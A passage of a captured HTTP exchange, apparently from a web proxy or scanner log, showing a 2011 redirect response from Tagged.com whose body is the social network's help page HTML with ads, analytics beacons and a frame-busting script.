Cookie: S=jtijebkn6bhkat15ltk43ujs82
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Date: Sat, 23 Apr 2011 12:16:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /help.html
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html><html><head id="html_head"> <title>Tagged</title> <noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/h2vPeHtXt.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/M/gEOLE1_oL.js"></script></head><body> <iframe id="yui-history-iframe" src="/blank.html" style="position:absolute; top:0; left:0; width:1px; height:1px; visibility:hidden;"></iframe> <input id="yui-history-field" type="hidden"> <div id="topad"><script type="text/javascript">tagged.ads.register('ad_unit_0', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=14;w=728;h=90;p=;q=help');</script><div id="ad_unit_0_div" class="ad_728_90"><iframe name="ad_unit_0" id="ad_unit_0" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="728" height="90"></iframe></div></div> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link><div id="navheader" class="navheader"> <div id="navheader_top" class="navheader_top"> <div class="top_bar_roundtop"></div> <div class="top_bar_content"> <div class="left_block"> <h1 class="heading_top">Join Tagged now - it's free! </h1> <p> Tagged is a great place to socialize with friends and meet new people. </p> <p> Make your own profile, share photos, chat, flirt, play games, and have fun! </p> <div class="actions_bottom"> <form action="http://www.tagged.com/register.html" method="get"> <input type="submit" class="green_btn_big" value="Join Tagged >"/> </form> <ul class="connect_container"> <li><a href="#" service_name="facebook" container="tb" class="facebook_connect connect"> <span class="icon_left fb_left"></span> <span class="connect_gradient fb_gradient"><span class="fb_icon"></span></span> <span class="icon_left fb_left icon_border"></span> <span class="connect_gradient fb_gradient"> Connect <span>with</span> Facebook </span> <span class="icon_right fb_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="myspace" container="tb" class="myspace_connect connect"> <span class="icon_left ms_left"></span> <span class="connect_gradient ms_gradient"> <span class="ms_icon "></span> Login with MySpaceID </span> <span class="icon_right ms_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="twitter" container="tb" class="twitter_connect connect"> <span class="icon_left tw_left"></span> <span class="connect_gradient tw_gradient"><span class="tw_icon"></span></span> <span class="icon_left tw_left icon_border"></span> <span class="connect_gradient tw_gradient"> Sign in with Twitter </span> <span class="icon_right tw_right"></span> <div class="clear_both"></div></a></li> </ul> <div class="clear_both"></div> </div> </div> <div class="right_block"> <img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" /> <p class="align_center"><a href="http://www.tagged.com/register.html?display=login">Sign in to Tagged</a></p> </div> <div class="clear_both"></div> </div> <div class="top_bar_roundbottom"></div> </div></div> <div id="inner_container"> <div id="profile_banner">&nbsp;</div> <div id="page_content"> <div id="top_notification_feedback"></div> <iframe src="/upgrade_ie6.html" class="hide_me" width="100%" height="0" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" id="ie6bar"></iframe> <iframe id="help_iframe" src="http://help.tagged.com" width="1100" height="1000" frameborder="0"> <p>Your browser does not support iframes.</p></iframe> <div class="clear_both"></div> </div> <div id="footer"> <div id="connect_footer" class="hide_me"></div> <div id="footer_nav"> <p> <a href="http://about-tagged.com">About</a> | <a href="http://about-tagged.com/news">Blog</a> | <a href="http://www.tagged.com/terms_of_service.html?#privacy_policy">Privacy Policy</a> | <a href="http://www.tagged.com/terms_of_service.html">Terms of Service</a> | <a href="http://www.tagged.com/terms_of_service.html?#copyrt">Copyright</a> | <a href="/ideas.html?type=suggestions">Ideas</a> | <a href="http://www.tagged.com/safety.html">Online Safety</a> | <a href="http://www.tagged.com/help.html?topic=report-abuse">Report Abuse</a> | <a href="http://www.tagged.com/browse.html">Users</a> | <a href="http://www.tagged.com/find_groups.html">Groups</a> | <a href="http://www.tagged.com/help.html">Help</a> </p> <p> <span id="copyright_diagnostics" title="11 1.8 26.63">&copy; 2003 - 2011 Tagged Inc. All rights reserved.</span> <span> <label id="site_language_slector_label">&nbsp;&nbsp;Language:</label> <select name="language" id="site_language_selector" > <option value="en_US" selected="selected" >English</option> <option value="ms_MY" >Bahasa Melayu</option> <option value="es_CO" >Español - América Latina</option> <option value="es_ES" >Español - España</option> <option value="es_MX" >Español - México</option> <option value="de_DE" >Deutsch</option> <option value="fr_FR" >Français</option> <option value="it_IT" >Italiano</option> <option value="nl_NL" >Nederlands</option> <option value="pt_PT" >Português</option> <option value="ru_RU" >Русский</option> <option value="bn_IN" >বাংলা</option> <option value="zh_CN" >中文 (简体)</option> <option value="zh_TW" >中文 (繁軆)</option> <option value="hi_IN" >हिन्दी</option> <option value="ja_JP" >日本語</option> <option value="mr_IN" >मराठी</option> <option value="pa_IN" >ਪੰਜਾਬੀ</option> </select> </span> </p> </div> <div class="clear_both"></div></div> </div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/JKkMB62Sf.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/Uhejl1lwq.js"></script><script type="text/javascript"> tagged.base_url = "http://www.tagged.com"; tagged.static_uri = "http://x.tagstat.com"; tagged.profile_path = "/profile.html"; tagged.guid = "9jAm66ci2W"; tagged.global_static_ver ='555ebe'; tagged.secure_url = "https://secure.tagged.com"; tagged.reg_url = "https://secure.tagged.com/register.html";// User status is defined in tag_net_presence (0 = active, 1 = idle, 2 = invisible, 3 = offline) tagged.currentUserStatus = null;tagged.loadData({"enable_tagged_tip":true});</script><script type="text/javascript" src="http://x.tagstat.com/dyn/js/1/wZg5MmgFd.js"></script><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/o/shJhH1t1H.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/gP5uxbzb8.js"></script> <!-- Begin quantserve --><script type="text/javascript" src="//edge.quantserve.com/quant.js"></script><script type="text/javascript">_qacct="p-96ZHBHvG56-qg";quantserve();</script><script type="text/javascript">if (top !== self) {top.location.href=window.location.href; } </script><noscript><img src="//pixel.quantserve.com/pixel/p-96ZHBHvG56-qg.gif" style="display:none" height="1" width="1" alt="Quantcast"/></noscript><!-- End quantserve --><!-- Begin recaptcha --><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script><!-- End recaptcha --><!-- Begin google_analytics --><script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-1982760-1']);_gaq.push(['_setSampleRate','20']);_gaq.push(['_trackPageview']);(function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script><!-- End google_analytics --><!-- Begin comscore --><script>document.write(unescape("%3Cscript src='" + (document.location.protocol == "https:" ? "https://sb" : "http://b")+ ".scorecardresearch.com/beacon.js' %3E%3C/script%3E"));</script><script>COMSCORE.beacon({c1:2,c2:7198000,c3:"",c4:"www.tagged.com/help.html",c5:"",c6:"",c15:"e6c36f9753fe5197beefc2b62a58d0d5e30a1873"});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=7198000&c3=&c4=www.tagged.com/help.html&c5=&c6=&c15=e6c36f9753fe5197beefc2b62a58d0d5e30a1873&cj=1" /></noscript><!-- End comscore --></body></html></body></html>